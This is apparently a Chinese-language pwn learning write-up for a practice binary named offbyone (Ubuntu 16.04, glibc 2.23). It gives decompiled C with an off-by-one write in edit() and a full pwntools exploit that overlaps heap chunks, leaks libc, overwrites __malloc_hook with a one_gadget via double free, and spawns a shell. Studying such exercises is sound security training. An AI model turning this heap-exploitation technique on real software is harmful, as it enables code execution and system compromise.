实验平台:
x86_64, Ubuntu 16.04.7 LTS, Kernel 4.15.0-142-generic
GLIBC 2.23-0ubuntu11.3
实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/OtherBin/offbyone
ELF安全性:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
amd64体系结构,保护全开。
这道题开启了PIE,我们不好再利用可执行文件的地址了,GOT表也禁止写入。
反编译后的C代码如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
putchar('>');
_isoc99_scanf("%d", &v3);
if ( v3 == 1 )
new_data();
if ( v3 == 2 )
delete_data();
if ( v3 == 3 )
show();
if ( v3 == 4 )
edit();
}
}
void init()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
}
unsigned __int64 new_data()
{
int size; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("size ?");
size = 0;
_isoc99_scanf("%d", &size);
if ( size < 0 || size > 0x110 || note_num > 11 )
exit(0);
for ( i = 0; i <= 11 && data[i]; ++i )
;
data[i] = (char *)malloc(size);
printf("data:");
read(0, data[i], (unsigned int)size);
data_size[i] = size;
++note_num;
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 delete_data()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index?");
_isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > note_num )
exit(0);
free(data[v1]);
data[v1] = 0LL;
--note_num;
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 show()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index?");
_isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > note_num )
exit(0);
if ( data[v1] )
puts(data[v1]);
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 edit()
{
int index; // [rsp+0h] [rbp-10h] BYREF
int ret; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("index?");
_isoc99_scanf("%d", &index);
if ( index < 0 || index > note_num )
exit(0);
if ( data[index] )
{
printf("data?");
ret = read(0, data[index], (unsigned int)(data_size[index] + 1));
}
return __readfsqword(0x28u) ^ v3;
}
可以看出,和上一套题目基本上没有什么变化,只是保护措施增加了。我们需要引出offbyone一种新的利用方法,那就是,修改块的size信息,使得chunk之间相互重叠。释放再分配后,出现chunk的重复分配,进而实现double free,利用__malloc_hook
得到shell。
Exp如下:
#!/usr/bin/env python2
# coding = utf-8
# Environment: Ubuntu 16.04
from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")
def send_choice(choice):
p.recvuntil('>')
p.sendline(str(choice))
def new_data(size, data):
send_choice(1)
p.recvuntil('size ?')
p.sendline(str(size))
p.recvuntil('data:')
p.send(data)
def delete_data(index):
send_choice(2)
p.recvuntil('index?')
p.sendline(str(index))
def show_data(index):
send_choice(3)
p.recvuntil('index?')
p.sendline(str(index))
def edit_data(index, data):
send_choice(4)
p.recvuntil('index?')
p.sendline(str(index))
p.recvuntil('data?')
p.send(data)
p = process('./offbyone')
elf = ELF('./offbyone')
gdb.attach(p, '')
"""
Heap Layout:
|--------------------
|chunk used to do off-by-one
|--------------------
|chunk to do overlap
|--------------------
|chunk to be overlapped
|--------------------
|isolating chunk(from top)
|--------------------
|top chunk(lefted)
|--------------------
SmallBin: 0x80 < size < 0x400
"""
# Step 1: Forge an overlapped chunk
new_data(0x28, 'a') # Chunk 0
new_data(0xf0, 'a') # Chunk 1
new_data(0x60, '/bin/sh\x00') # Chunk 2
new_data(0x60, '/bin/sh\x00') # Chunk 3
edit_data(0, '\x00' * 0x28 + '\x71') # Forge Chunk 1's size to overlap Chunk 2
delete_data(1) # After free, Free Chunk 1's size is (0x170 | PREV_INUSE), overlapped Chunk 2, enetered unsorted bin
# Step 2: Leak libc via freed unsortedbin chunk's fd & bk
new_data(0xf0, '\x08') # Chunk 1
show_data(1)
libc_malloc_hook_offsetP_f8 = u64(p.recv(6) + '\x00\x00') # leaked __malloc_hook + 0xf8
__malloc_hook_libc = libc_malloc_hook_offsetP_f8 - 0xf8
libc = LibcSearcher('__malloc_hook', __malloc_hook_libc)
libc_base = __malloc_hook_libc - libc.dump('__malloc_hook')
system_libc = libc_base + libc.dump('system')
log.info('libc_base: ' + hex(libc_base))
log.info('system_libc: ' + hex(system_libc))
# Step 3: Get double allocate chunk to exploit double free, write __malloc_hook to one_gadget
new_data(0x60, '/bin/sh\x00') # Chunk 4 (Double allocated Chunk 2)
__malloc_hook_offsetN_23 = __malloc_hook_libc - 0x23
delete_data(4)
edit_data(2, p64(__malloc_hook_offsetN_23))
new_data(0x60, 'a') # Chunk 4
one_gadget = libc_base + 0xf03a4
new_data(0x60, '\x00' * 0x13 + p64(one_gadget))
# Step 4: Trigger malloc one_gadget using double free
delete_data(2)
delete_data(4)
p.interactive()
其中第42~53行是进行堆利用时的布局。
第58~61行首先申请4个chunk。其中chunk 0是专用于修改chunk 1的size。chunk 2用于被chunk 1所覆盖,chunk 3用于将上面的chunk与top chunk隔离。
第62行,扩大了原本大小为0x100
的chunk 1,使其大小变为了0x170
,恰好覆盖了chunk 2。
第63行,释放了chunk 1,以便后续进行再次分配。此时free chunk 1进入的是unsortedbin。
第66~68行泄露libc基址。此时能够泄露的原因是:free chunk 1是unsortedbin中唯一的chunk,其fd指针指向libc内部数据地址。我们可以通过gdb调试,获取fd指针指向的具体位置,定位到最近的符号,就可以通过LibcSearcher获取到相应的libc基址及system地址。
第77~83行,按照(char*)__malloc_hook - 0x23
的方法覆写__malloc_hook
到one_gadget,具体方法可参见[1]。
第86~87行,使用double free的方法触发one_gadget。